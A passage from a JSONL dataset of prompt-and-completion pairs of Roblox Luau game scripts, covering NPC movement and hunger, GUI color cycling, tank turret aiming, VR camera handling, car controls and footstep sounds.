30)\n\t\tend\n\tend\nend)\n\ntask.spawn(function()\n\twhile task.wait(0.5) do\n\t\tif game.ServerStorage.ServerData.Hunger.Value <= 40 then\n\t\t\tif workspace[\"Floppa NPC\"].GoingTo.Value ~= nil then\n\t\t\t\trepeat wait() until workspace[\"Floppa NPC\"].GoingTo.Reached.Value == true\n\t\t\tend\n\t\t\tworkspace[\"Floppa NPC\"].GoingTo.Value = workspace.foodplace\n\t\tend\n\tend\nend)\n\nworkspace[\"Floppa NPC\"].GoingTo.Changed:Connect(function()\n\tworkspace[\"Floppa NPC\"].GoingTo.Reached.Value = false\n\tlocal con\n\tcon = workspace[\"Floppa NPC\"].GoingTo.Value.Touched:Connect(function()\n\t\tworkspace[\"Floppa NPC\"].GoingTo.Reached.Value = true\n\t\tcon:Disconnect()\n\tend)\n\trepeat wait() workspace['Floppa NPC'].Humanoid:MoveTo(workspace[\"Floppa NPC\"].GoingTo.Value.Position) until workspace[\"Floppa NPC\"].GoingTo.Reached.Value == true\nend)\n\nwhile task.wait(1.25) do\n\tif sleeping == false then\n\t\tgame.ServerStorage.ServerData.Hunger.Value -= 1\n\tend\nend\n"} +{"prompt": "--[[\n\t~= EXAMPLE CODE =~\n\treturn function(gui,gTable,guiData)\n\t\tlocal name = gTable.Name\n\t\tif name == \"YesNoPrompt\" then\n\t\t\tlocal new = Instance.new(\"ScreenGui\")\n\t\t\tlocal frame = Instance.new(\"Frame\",new)\n\t\t\tframe.Size = UDim2.new(0,400,0,400)\n\t\t\tlocal yes = Instance.new(\"TextButton\",frame)\n\t\t\tyes.Size = UDim2.new(0.5,0,1,0)\n\t\t\tyes.Text = \"Yes\"\n\t\t\tlocal no = yes:Clone()\n\t\t\tno.Text = \"No\"\n\t\t\tno.Position = UDim2.new(0.5,0,0,0)\n\t\t\t\n\t\t\tlocal gTable,gIndex = client.UI.Register(new)\n\t\t\t\n\t\t\tlocal ans\n\t\t\tlocal waiting = true\n\t\t\t\n\t\t\tgTable.CustomDestroy = function()\n\t\t\t\twaiting = false\n\t\t\tend\n\t\t\t\n\t\t\tyes.MouseButton1Click:Connect(function()\n\t\t\t\tans = \"Yes\"\n\t\t\t\tgTable:Destroy()\n\t\t\tend)\n\t\t\t\n\t\t\tno.MouseButton1Click:Connect(function()\n\t\t\t\tans = \"No\"\n\t\t\t\tgTable:Destroy()\n\t\t\tend)\n\t\t\t\n\t\t\trepeat wait() until ans or not waiting --// Wait until answer\n\t\t\treturn ans or false\n\t\tend\n\tend\n\t\n--]]", "completion": "\n\nservice = nil\nRoutine = nil\nclient = nil\n\nreturn function(gui, guiData, gTable)\n\tlocal contents = {}\n\tlocal lerper = 0.5\n\tlocal switch = false\n\tlocal targetColor = Color3.new(math.random(),math.random(),math.random())\n\tlocal classes = {\n\t\tFrame = true;\n\t\tTextBox = true;\n\t\tTextLabel = true;\n\t\tTextButton = true;\n\t\tImageLabel = true;\n\t\tImageButton = true; \n\t\tScrollingFrame = true;\n\t}\n\t\n\tlocal function getCont(obj)\n\t\tfor i,v in pairs(obj:GetChildren()) do \n\t\t\tif classes[v.ClassName] then\n\t\t\t\ttable.insert(contents,v)\n\t\t\t\tgetCont(v)\n\t\t\tend\n\t\tend\n\tend\n\t\n\tif classes[gui.ClassName] then\n\t\ttable.insert(contents,gui)\n\tend\n\t\n\tgetCont(gui)\n\t\n\tif gTable.Name == \"List\" then\n\t\tgui.Drag.Main.BackgroundTransparency = 0\n\tend\n\t\n\tlocal increment = 0.001\n\tlocal max = 0.7\n\tlocal min = 0.1\n\tlocal r,g,b = 0.1,0.5,0.8\n\tlocal rt,gt,bt = true,true,true \n\tlocal sequence = {\n\t\tColor3.fromRGB(255, 85, 88), \n\t\tColor3.fromRGB(78, 140, 255), \n\t\tColor3.fromRGB(78, 255, 149)\n\t}\n\t\n\tlocal function lerpToColor(color1, color2, inc, time)\n\t\tlocal inc = inc or 0.1\n\t\tfor i = 0, 1, inc do\n\t\t\tfor i2,v in next,contents do\n\t\t\t\tif v.Name ~= \"CapeColor\" and v.Name ~= \"Color\" then\n\t\t\t\t\tv.BackgroundColor3 = color1:lerp(color2, i)\n\t\t\t\t\tif v:IsA(\"ImageLabel\") or v:IsA(\"ImageButton\") then\n\t\t\t\t\t\tv.ImageColor3 = color1:lerp(color2, i)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\twait(time/(1/inc))\n\t\tend\n\tend\n\t\n\tservice.TrackTask(\"Thread: Colorize_\"..tostring(gTable.Name),function()\n\t\twhile ((gTable.Active and wait()) or wait(1)) and not gTable.Destroyed do\n\t\t\tfor i,v in next,sequence do\n\t\t\t\tlocal one, two = sequence[i], sequence[1]\n\t\t\t\t\n\t\t\t\tif i == #sequence then\n\t\t\t\t\ttwo = sequence[1]\n\t\t\t\telse\n\t\t\t\t\ttwo = sequence[i+1]\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tlerpToColor(one, two, 0.01, 2)\n\t\t\tend\n\t\tend\n\tend)\nend\n"} +{"prompt": "-- modules", "completion": "\nlocal highlight = require(modules.Highlighter)\n"} +{"prompt": "-- Infinitely update the target position for the tank", "completion": "\ncurrentElev = 0;\ncurrentRot = 0;\nwhile wait() do\n\tif (myMouse) then\n\t\t-- Position of mouse in world\n\t\tmousePoint = myMouse.Hit.p;\n\t\t\n\t\t-- Vector from tank to mouse point\n\t\ttargetVector = (mousePoint - parts.GunBase.CFrame.p).unit;\n\t\t\n\t\t-- Determine where the gun should point\n\t\ttargetRotations = determineNewDirections(targetVector);\n\t\t\n\t\t-- For each time we do all that math to determine the angle, we will smoothly rotate the gun towards it in 4 increments\n\t\t-- This means less lag (fewer calculations) but it's still smooth\n\t\tfor i = 1, 4 do\t\t\n\t\t\tnewRotations = getSmoothRotation(targetRotations);\n\t\t\tsetTurretDirection(currentElev, currentRot);\n\t\t\twait();\n\t\tend\n\tend\nend\n\n\n"} +{"prompt": "-- Local private variables and constants", "completion": "\nlocal ZERO_VECTOR2 = Vector2.new(0,0)\n\nlocal tweenAcceleration = math.rad(220) -- Radians/Second^2\nlocal tweenSpeed = math.rad(0) -- Radians/Second\nlocal tweenMaxSpeed = math.rad(250) -- Radians/Second\nlocal TIME_BEFORE_AUTO_ROTATE = 2 -- Seconds, used when auto-aligning camera with vehicles\n\nlocal INITIAL_CAMERA_ANGLE = CFrame.fromOrientation(math.rad(-15), 0, 0)\nlocal ZOOM_SENSITIVITY_CURVATURE = 0.5\nlocal FIRST_PERSON_DISTANCE_MIN = 0.5\n"} +{"prompt": "-- [[ VR Support Section ]] --", "completion": "\n\nfunction BaseCamera:ApplyVRTransform()\n\tif not VRService.VREnabled then\n\t\treturn\n\tend\n\n\t--we only want this to happen in first person VR\n\tlocal rootJoint = self.humanoidRootPart and self.humanoidRootPart:FindFirstChild(\"RootJoint\")\n\tif not rootJoint then\n\t\treturn\n\tend\n\n\tlocal cameraSubject = game.Workspace.CurrentCamera.CameraSubject\n\tlocal isInVehicle = cameraSubject and cameraSubject:IsA(\"VehicleSeat\")\n\n\tif self.inFirstPerson and not isInVehicle then\n\t\tlocal vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head)\n\t\tlocal vrRotation = vrFrame - vrFrame.p\n\t\trootJoint.C0 = CFrame.new(vrRotation:vectorToObjectSpace(vrFrame.p)) * CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\telse\n\t\trootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\tend\nend\n\nfunction BaseCamera:IsInFirstPerson()\n\treturn self.inFirstPerson\nend\n\nfunction BaseCamera:ShouldUseVRRotation()\n\tif not VRService.VREnabled then\n\t\treturn false\n\tend\n\n\tif not self.VRRotationIntensityAvailable and tick() - self.lastVRRotationIntensityCheckTime < 1 then\n\t\treturn false\n\tend\n\n\tlocal success, vrRotationIntensity = pcall(function() return StarterGui:GetCore(\"VRRotationIntensity\") end)\n\tself.VRRotationIntensityAvailable = success and vrRotationIntensity ~= nil\n\tself.lastVRRotationIntensityCheckTime = tick()\n\n\tself.shouldUseVRRotation = success and vrRotationIntensity ~= nil and vrRotationIntensity ~= \"Smooth\"\n\n\treturn self.shouldUseVRRotation\nend\n\nfunction BaseCamera:GetVRRotationInput()\n\tlocal vrRotateSum = ZERO_VECTOR2\n\tlocal success, vrRotationIntensity = pcall(function() return StarterGui:GetCore(\"VRRotationIntensity\") end)\n\n\tif not success then\n\t\treturn\n\tend\n\n\tlocal vrGamepadRotation = self.GamepadPanningCamera or ZERO_VECTOR2\n\tlocal delayExpired = (tick() - self.lastVRRotationTime) >= self:GetRepeatDelayValue(vrRotationIntensity)\n\n\tif math.abs(vrGamepadRotation.x) >= self:GetActivateValue() then\n\t\tif (delayExpired or not self.vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2]) then\n\t\t\tlocal sign = 1\n\t\t\tif vrGamepadRotation.x < 0 then\n\t\t\t\tsign = -1\n\t\t\tend\n\t\t\tvrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) * sign\n\t\t\tself.vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = true\n\t\tend\n\telseif math.abs(vrGamepadRotation.x) < self:GetActivateValue() - 0.1 then\n\t\tself.vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = nil\n\tend\n\tif self.turningLeft then\n\t\tif delayExpired or not self.vrRotateKeyCooldown[Enum.KeyCode.Left] then\n\t\t\tvrRotateSum = vrRotateSum - self:GetRotateAmountValue(vrRotationIntensity)\n\t\t\tself.vrRotateKeyCooldown[Enum.KeyCode.Left] = true\n\t\tend\n\telse\n\t\tself.vrRotateKeyCooldown[Enum.KeyCode.Left] = nil\n\tend\n\tif self.turningRight then\n\t\tif (delayExpired or not self.vrRotateKeyCooldown[Enum.KeyCode.Right]) then\n\t\t\tvrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity)\n\t\t\tself.vrRotateKeyCooldown[Enum.KeyCode.Right] = true\n\t\tend\n\telse\n\t\tself.vrRotateKeyCooldown[Enum.KeyCode.Right] = nil\n\tend\n\n\tif vrRotateSum ~= ZERO_VECTOR2 then\n\t\tself.lastVRRotationTime = tick()\n\tend\n\n\treturn vrRotateSum\nend\n\nfunction BaseCamera:CancelCameraFreeze(keepConstraints)\n\tif not keepConstraints then\n\t\tself.cameraTranslationConstraints = Vector3.new(self.cameraTranslationConstraints.x, 1, self.cameraTranslationConstraints.z)\n\tend\n\tif self.cameraFrozen then\n\t\tself.trackingHumanoid = nil\n\t\tself.cameraFrozen = false\n\tend\nend\n\nfunction BaseCamera:StartCameraFreeze(subjectPosition, humanoidToTrack)\n\tif not self.cameraFrozen then\n\t\tself.humanoidJumpOrigin = subjectPosition\n\t\tself.trackingHumanoid = humanoidToTrack\n\t\tself.cameraTranslationConstraints = Vector3.new(self.cameraTranslationConstraints.x, 0, self.cameraTranslationConstraints.z)\n\t\tself.cameraFrozen = true\n\tend\nend\n\nfunction BaseCamera:OnNewCameraSubject()\n\tif self.subjectStateChangedConn then\n\t\tself.subjectStateChangedConn:Disconnect()\n\t\tself.subjectStateChangedConn = nil\n\tend\n\n\tlocal humanoid = workspace.CurrentCamera and workspace.CurrentCamera.CameraSubject\n\tif self.trackingHumanoid ~= humanoid then\n\t\tself:CancelCameraFreeze()\n\tend\n\tif humanoid and humanoid:IsA(\"Humanoid\") then\n\t\tself.subjectStateChangedConn = humanoid.StateChanged:Connect(function(oldState, newState)\n\t\t\tif VRService.VREnabled and newState == Enum.HumanoidStateType.Jumping and not self.inFirstPerson then\n\t\t\t\tself:StartCameraFreeze(self:GetSubjectPosition(), humanoid)\n\t\t\telseif newState ~= Enum.HumanoidStateType.Jumping and newState ~= Enum.HumanoidStateType.Freefall then\n\t\t\t\tself:CancelCameraFreeze(true)\n\t\t\tend\n\t\tend)\n\tend\nend\n\nfunction BaseCamera:GetVRFocus(subjectPosition, timeDelta)\n\tlocal lastFocus = self.LastCameraFocus or subjectPosition\n\tif not self.cameraFrozen then\n\t\tself.cameraTranslationConstraints = Vector3.new(self.cameraTranslationConstraints.x, math.min(1, self.cameraTranslationConstraints.y + 0.42 * timeDelta), self.cameraTranslationConstraints.z)\n\tend\n\n\tlocal newFocus\n\tif self.cameraFrozen and self.humanoidJumpOrigin and self.humanoidJumpOrigin.y > lastFocus.y then\n\t\tnewFocus = CFrame.new(Vector3.new(subjectPosition.x, math.min(self.humanoidJumpOrigin.y, lastFocus.y + 5 * timeDelta), subjectPosition.z))\n\telse\n\t\tnewFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):lerp(subjectPosition, self.cameraTranslationConstraints.y))\n\tend\n\n\tif self.cameraFrozen then\n\t\t-- No longer in 3rd person\n\t\tif self.inFirstPerson then -- not VRService.VREnabled\n\t\t\tself:CancelCameraFreeze()\n\t\tend\n\t\t-- This case you jumped off a cliff and want to keep your character in view\n\t\t-- 0.5 is to fix floating point error when not jumping off cliffs\n\t\tif self.humanoidJumpOrigin and subjectPosition.y < (self.humanoidJumpOrigin.y - 0.5) then\n\t\t\tself:CancelCameraFreeze()\n\t\tend\n\tend\n\n\treturn newFocus\nend\n\nfunction BaseCamera:GetRotateAmountValue(vrRotationIntensity)\n\tvrRotationIntensity = vrRotationIntensity or StarterGui:GetCore(\"VRRotationIntensity\")\n\tif vrRotationIntensity then\n\t\tif vrRotationIntensity == \"Low\" then\n\t\t\treturn VR_LOW_INTENSITY_ROTATION\n\t\telseif vrRotationIntensity == \"High\" then\n\t\t\treturn VR_HIGH_INTENSITY_ROTATION\n\t\tend\n\tend\n\treturn ZERO_VECTOR2\nend\n\nfunction BaseCamera:GetRepeatDelayValue(vrRotationIntensity)\n\tvrRotationIntensity = vrRotationIntensity or StarterGui:GetCore(\"VRRotationIntensity\")\n\tif vrRotationIntensity then\n\t\tif vrRotationIntensity == \"Low\" then\n\t\t\treturn VR_LOW_INTENSITY_REPEAT\n\t\telseif vrRotationIntensity == \"High\" then\n\t\t\treturn VR_HIGH_INTENSITY_REPEAT\n\t\tend\n\tend\n\treturn 0\nend\n\nfunction BaseCamera:Test()\n\tprint(\"BaseCamera:Test()\")\nend\n\nfunction BaseCamera:Update(dt)\n\twarn(\"BaseCamera:Update() This is a virtual function that should never be getting called.\")\n\treturn game.Workspace.CurrentCamera.CFrame, game.Workspace.CurrentCamera.Focus\nend\n\nreturn BaseCamera\n"} +{"prompt": "-- Handle event fire", "completion": "\nlocal function toggleDoor(player, door)\n\tlocal motor = rightMotor\n\tif door == \"left\" then\n\t\tmotor = leftMotor\n\tend\n\t-- Check distance to the character's Torso. If too far, don't do anything\n\tif player.Character and player.Character:FindFirstChild(\"Torso\") then\t\n\t\tlocal torso = player.Character:FindFirstChild(\"Torso\")\n\t\tlocal toTorso = torso.Position - cabinet.CounterTop.Position\n\t\tif toTorso.magnitude < clickDistance then\n\t\t\tif open then\n\t\t\t\tmotor.DesiredAngle = 0\n\t\t\t\topen = false\n\t\t\telse\n\t\t\t\tmotor.DesiredAngle = math.pi/2\n\t\t\t\topen = true\n\t\t\tend\n\t\tend\n\tend\nend\n\nfor _, Part in pairs(cabinet:GetChildren()) do\n\tif Part:FindFirstChild(\"ROBLOXInteractionEvent\") and (string.match(Part.Name, \"Door\") or string.match(Part.Name, \"Handle\")) then\n\t\tlocal event = Part:FindFirstChild(\"ROBLOXInteractionEvent\")\n\t\tlocal door = \"right\"\n\t\tif string.match(Part.Name, \"Left\") then\n\t\t\tdoor = \"left\"\n\t\tend\n\t\tevent.OnServerEvent:connect(function(player, arguments) toggleDoor(player, door) end)\n\tend\nend\n"} +{"prompt": "--[[ By: Brutez. ]]", "completion": "--\nlocal JeffTheKillerScript=script;\nrepeat Wait(0)until JeffTheKillerScript and JeffTheKillerScript.Parent and JeffTheKillerScript.Parent.ClassName==\"Model\"and JeffTheKillerScript.Parent:FindFirstChild(\"Head\")and JeffTheKillerScript.Parent:FindFirstChild(\"HumanoidRootPart\");\nlocal JeffTheKiller=JeffTheKillerScript.Parent;\nfunction raycast(Spos,vec,currentdist)\nlocal hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(Spos+(vec*.05),vec*currentdist),JeffTheKiller);\nif hit2~=nil and pos2 then\nif hit2.Name==\"Handle\" and not hit2.CanCollide or string.sub(hit2.Name,1,6)==\"Effect\"and not hit2.CanCollide then\nlocal currentdist=currentdist-(pos2-Spos).magnitude;\nreturn raycast(pos2,vec,currentdist);\nend;\nend;\nreturn hit2,pos2;\nend;\nfunction RayCast(Position,Direction,MaxDistance,IgnoreList)\nreturn Game:GetService(\"Workspace\"):FindPartOnRayWithIgnoreList(Ray.new(Position,Direction.unit*(MaxDistance or 999.999)),IgnoreList);\nend;"} +{"prompt": "--F.updateSound = function(Sound, Pitch, Volume)\n--\tif Sound then\n--\t\tif Pitch then\n--\t\t\tSound.Pitch = Pitch\n--\t\tend\n--\t\tif Volume then\n--\t\t\tSound.Volume = Volume\n--\t\tend\n--\tend\n--end", "completion": "\n\nF.updateWindows = function(Window, Toggle)\n\tif script.Parent.Parent.Windows:findFirstChild(Window) then\n\t\tscript.Parent.Parent.Windows:findFirstChild(Window).Value = Toggle\n\tend\t\nend\n\nF.volumedown = function(VolDown)\n\tcarSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume - 1\nend\n\nF.volumeup = function(VolUp)\n\tcarSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + 1\nend\n\nF.fm = function(ok)\n\tcarSeat.Parent.Body.MP.Sound:Stop()\n\tcarSeat.Stations.mood.Value = ok\nend\n\nF.updateSong = function(id)\n\tcarSeat.Stations.mood.Value = 5\n\tcarSeat.Parent.Body.MP.Sound:Stop()\n\twait()\n\tcarSeat.Parent.Body.MP.Sound.SoundId = \"rbxassetid://\"..id\n\twait()\n\tcarSeat.Parent.Body.MP.Sound:Play()\nend\n\nF.pauseSong = function()\n\tcarSeat.Stations.mood.Value = 5\n\tcarSeat.Parent.Body.MP.Sound:Stop()\nend\n\nF.updateVolume = function(Vol)\n\tcarSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + Vol/5\nend\n\nF.updateValue = function(Val, Value)\n\tif Val then\n\t\tVal.Value = Value\n\tend\nend\n\nF.FEInfo = function()\n\tcarSeat.Parent.Body.Dash.S.G.Enabled = true\n\twait(.1)\n\tcarSeat.Parent.Body.Dash.S.G.FE.Visible = true\nend\n\nF.delete = function(plr)\n\tworkspace[plr]:FindFirstChildOfClass(\"Humanoid\").Jump = true\n\twait(1)\n\tcarSeat.Parent:Destroy()\nend\n\nF.shift = function(up)\n\tif up == true then\n\t\tcarSeat.Parent.Misc.GL.SS.Motor.DesiredAngle = -.2\n\t\twait(.3)\n\t\tcarSeat.Parent.Misc.GL.SS.Motor.DesiredAngle = 0\n\telse\n\t\tcarSeat.Parent.Misc.GL.SS.Motor.DesiredAngle = .2\n\t\twait(.3)\n\t\tcarSeat.Parent.Misc.GL.SS.Motor.DesiredAngle = 0\n\tend\nend\n\nF.reverse = function(yes)\n\tcarSeat.Parent.Body.Lights.Reverse.Material = yes and \"Neon\" or \"SmoothPlastic\"\nend\n\nF.PM = function(m,p)\n\tcarSeat.Mode.Value = m\n\tcarSeat.PMult.Value = p\nend\n\nF.Dyn = function(h)\n\tcarSeat.Parent.Wheels.FL.Spring.FreeLength = h\n\tcarSeat.Parent.Wheels.FR.Spring.FreeLength = h\n\tcarSeat.Parent.Wheels.RL.Spring.FreeLength = h\n\tcarSeat.Parent.Wheels.RR.Spring.FreeLength = h\nend\n\nscript.Parent.OnServerEvent:connect(function(Player, Func, ...)\n\tif F[Func] then\n\t\tF[Func](...)\n\tend\nend)\n"} +{"prompt": "-- map a value from one range to another", "completion": "\nlocal function map(x, inMin, inMax, outMin, outMax)\n\treturn (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin\nend\n\nlocal function playSound(sound)\n\tsound.TimePosition = 0\n\tsound.Playing = true\nend\n\nlocal function stopSound(sound)\n\tsound.Playing = false\n\tsound.TimePosition = 0\nend\n\nlocal function initializeSoundSystem(player, humanoid, rootPart)\n\tlocal sounds = {}\n\n\t-- initialize sounds\n\tfor name, props in pairs(SOUND_DATA) do\n\t\tlocal sound = Instance.new(\"Sound\")\n\t\tsound.Name = name\n\n\t\t-- set default values\n\t\tsound.Archivable = false\n\t\tsound.EmitterSize = 5\n\t\tsound.MaxDistance = 150\n\t\tsound.Volume = 0.65\n\n\t\tfor propName, propValue in pairs(props) do\n\t\t\tsound[propName] = propValue\n\t\tend\n\n\t\tsound.Parent = rootPart\n\t\tsounds[name] = sound\n\tend\n\n\tlocal playingLoopedSounds = {}\n\n\tlocal function stopPlayingLoopedSounds(except)\n\t\tfor sound in pairs(playingLoopedSounds) do\n\t\t\tif sound ~= except then\n\t\t\t\tsound.Playing = false\n\t\t\t\tplayingLoopedSounds[sound] = nil\n\t\t\tend\n\t\tend\n\tend\n\n\t-- state transition callbacks\n\tlocal stateTransitions = {\n\t\t[Enum.HumanoidStateType.FallingDown] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.GettingUp] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tplaySound(sounds.GettingUp)\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Jumping] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tplaySound(sounds.Jumping)\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Swimming] = function()\n\t\t\tlocal verticalSpeed = math.abs(rootPart.Velocity.Y)\n\t\t\tif verticalSpeed > 0.1 then\n\t\t\t\tsounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1)\n\t\t\t\tplaySound(sounds.Splash)\n\t\t\tend\n\t\t\tstopPlayingLoopedSounds(sounds.Swimming)\n\t\t\tsounds.Swimming.Playing = true\n\t\t\tplayingLoopedSounds[sounds.Swimming] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Freefall] = function()\n\t\t\tsounds.FreeFalling.Volume = 0\n\t\t\tstopPlayingLoopedSounds(sounds.FreeFalling)\n\t\t\tplayingLoopedSounds[sounds.FreeFalling] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Landed] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tlocal verticalSpeed = math.abs(rootPart.Velocity.Y)\n\t\t\tif verticalSpeed > 75 then\n\t\t\t\tsounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1)\n\t\t\t\tplaySound(sounds.Landing)\n\t\t\tend\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Running] = function()\n\t\t\tstopPlayingLoopedSounds(sounds.Running)\n\t\t\tsounds.Running.Playing = true\n\t\t\tplayingLoopedSounds[sounds.Running] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Climbing] = function()\n\t\t\tlocal sound = sounds.Climbing\n\t\t\tif math.abs(rootPart.Velocity.Y) > 0.1 then\n\t\t\t\tsound.Playing = true\n\t\t\t\tstopPlayingLoopedSounds(sound)\n\t\t\telse\n\t\t\t\tstopPlayingLoopedSounds()\n\t\t\tend\n\t\t\tplayingLoopedSounds[sound] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Seated] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Dead] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tplaySound(sounds.Died)\n\t\tend,\n\t}\n\n\t-- updaters for looped sounds\n\tlocal loopedSoundUpdaters = {\n\t\t[sounds.Climbing] = function(dt, sound, vel)\n\t\t\tsound.Playing = vel.Magnitude > 0.1\n\t\tend,\n\n\t\t[sounds.FreeFalling] = function(dt, sound, vel)\n\t\t\tif vel.Magnitude > 75 then\n\t\t\t\tsound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1)\n\t\t\telse\n\t\t\t\tsound.Volume = 0\n\t\t\tend\n\t\tend,\n\n\t\t[sounds.Running] = function(dt, sound, vel)\n\t\t--sound.Playing = vel.Magnitude > 0.5 and humanoid.MoveDirection.Magnitude > 0.5\n\t\n\t\tsound.SoundId = FootstepsSoundGroup:WaitForChild(humanoid.FloorMaterial).SoundId \n\t\tsound.PlaybackSpeed = FootstepsSoundGroup:WaitForChild(humanoid.FloorMaterial).PlaybackSpeed * (vel.Magnitude/20)\n\t\tsound.Volume = FootstepsSoundGroup:WaitForChild(humanoid.FloorMaterial).Volume * (vel.Magnitude/12) * humanoid.Parent.Saude.Stances.Loudness.Value\n\t\tsound.EmitterSize = FootstepsSoundGroup:WaitForChild(humanoid.FloorMaterial).Volume * (vel.Magnitude/12) * 50 * humanoid.Parent.Saude.Stances.Loudness.Value\n\t\t\n\t\tif FootstepsSoundGroup:FindFirstChild(humanoid.FloorMaterial) == nil then\n\t\t\tsound.SoundId = FootstepsSoundGroup:WaitForChild(\"nil Sound\").SoundId\n\t\t\tsound.PlaybackSpeed = FootstepsSoundGroup:WaitForChild(\"nil Sound\").PlaybackSpeed\n\t\t\tsound.EmitterSize = FootstepsSoundGroup:WaitForChild(\"nil Sound\").Volume\n\t\t\tsound.Volume = FootstepsSoundGroup:WaitForChild(\"nil Sound\").Volume\n\t\tend\n\t\tend,\n\t}\n\n\t-- state substitutions to avoid duplicating entries in the state table\n\tlocal stateRemap = {\n\t\t[Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running,\n\t}\n\n\tlocal activeState = stateRemap[humanoid:GetState()] or humanoid:GetState()\n\tlocal activeConnections = {}\n\n\tlocal stateChangedConn = humanoid.StateChanged:Connect(function(_, state)\n\t\tstate = stateRemap[state] or state\n\n\t\tif state ~= activeState then\n\t\t\tlocal transitionFunc = stateTransitions[state]\n\n\t\t\tif transitionFunc then\n\t\t\t\ttransitionFunc()\n\t\t\tend\n\n\t\t\tactiveState = state\n\t\tend\n\tend)\n\n\tlocal steppedConn = RunService.Stepped:Connect(function(_, worldDt)\n\t\t-- update looped sounds on stepped\n\t\tfor sound in pairs(playingLoopedSounds) do\n\t\t\tlocal updater = loopedSoundUpdaters[sound]\n\n\t\t\tif updater then\n\t\t\t\tupdater(worldDt, sound, rootPart.Velocity)\n\t\t\tend\n\t\tend\n\tend)\n\n\tlocal humanoidAncestryChangedConn\n\tlocal rootPartAncestryChangedConn\n\tlocal characterAddedConn\n\n\tlocal function terminate()\n\t\tstateChangedConn:Disconnect()\n\t\tsteppedConn:Disconnect()\n\t\thumanoidAncestryChangedConn:Disconnect()\n\t\trootPartAncestryChangedConn:Disconnect()\n\t\tcharacterAddedConn:Disconnect()\n\tend\n\n\thumanoidAncestryChangedConn = humanoid.AncestryChanged:Connect(function(_, parent)\n\t\tif not parent then\n\t\t\tterminate()\n\t\tend\n\tend)\n\n\trootPartAncestryChangedConn = rootPart.AncestryChanged:Connect(function(_, parent)\n\t\tif not parent then\n\t\t\tterminate()\n\t\tend\n\tend)\n\n\tcharacterAddedConn = player.CharacterAdded:Connect(terminate)\nend\n\nlocal function playerAdded(player)\n\tlocal function characterAdded(character)\n\t\t-- Avoiding memory leaks in the face of Character/Humanoid/RootPart lifetime has a few complications:\n\t\t-- * character deparenting is a Remove instead of a Destroy, so signals are not cleaned up automatically.\n\t\t-- ** must use a waitForFirst on everything and listen for hierarchy changes.\n\t\t-- * the character might not be in the dm by the time CharacterAdded fires\n\t\t-- ** constantly check consistency with player.Character and abort if CharacterAdded is fired again\n\t\t-- * Humanoid may not exist immediately, and by the time it's inserted the character might be deparented.\n\t\t-- * RootPart probably won't exist immediately.\n\t\t-- ** by the time RootPart is inserted and Humanoid.RootPart is set, the character or the humanoid might be deparented.\n\n\t\tif not character.Parent then\n\t\t\twaitForFirst(character.AncestryChanged, player.CharacterAdded)\n\t\tend\n\n\t\tif player.Character ~= character or not character.Parent then\n\t\t\treturn\n\t\tend\n\n\t\tlocal humanoid = character:FindFirstChildOfClass(\"Humanoid\")\n\t\twhile character:IsDescendantOf(game) and not humanoid do\n\t\t\twaitForFirst(character.ChildAdded, character.AncestryChanged, player.CharacterAdded)\n\t\t\thumanoid = character:FindFirstChildOfClass(\"Humanoid\")\n\t\tend\n\n\t\tif player.Character ~= character or not character:IsDescendantOf(game) then\n\t\t\treturn\n\t\tend\n\n\t\t-- must rely on HumanoidRootPart naming because Humanoid.RootPart does not fire changed signals\n\t\tlocal rootPart = character:FindFirstChild(\"HumanoidRootPart\")\n\t\twhile character:IsDescendantOf(game) and not rootPart do\n\t\t\twaitForFirst(character.ChildAdded, character.AncestryChanged, humanoid.AncestryChanged, player.CharacterAdded)\n\t\t\trootPart = character:FindFirstChild(\"HumanoidRootPart\")\n\t\tend\n\n\t\tif rootPart and humanoid:IsDescendantOf(game) and character:IsDescendantOf(game) and player.Character == character then\n\t\t\tinitializeSoundSystem(player, humanoid, rootPart)\n\t\tend\n\tend\n\n\tif player.Character then\n\t\tcharacterAdded(player.Character)\n\tend\n\tplayer.CharacterAdded:Connect(characterAdded)\nend\n\nPlayers.PlayerAdded:Connect(playerAdded)\nfor _, player in ipairs(Players:GetPlayers()) do\n\tplayerAdded(player)\nend\n\n\nrepeat\n\twait()\nuntil game.Players.LocalPlayer.Character\n\nlocal Character = game.Players.LocalPlayer.Character\nlocal Head = Character:WaitForChild(\"HumanoidRootPart\")\nlocal RunningSound = Head:WaitForChild(\"Running\")\nlocal Humanoid = Character:WaitForChild(\"Humanoid\")\nlocal vel = 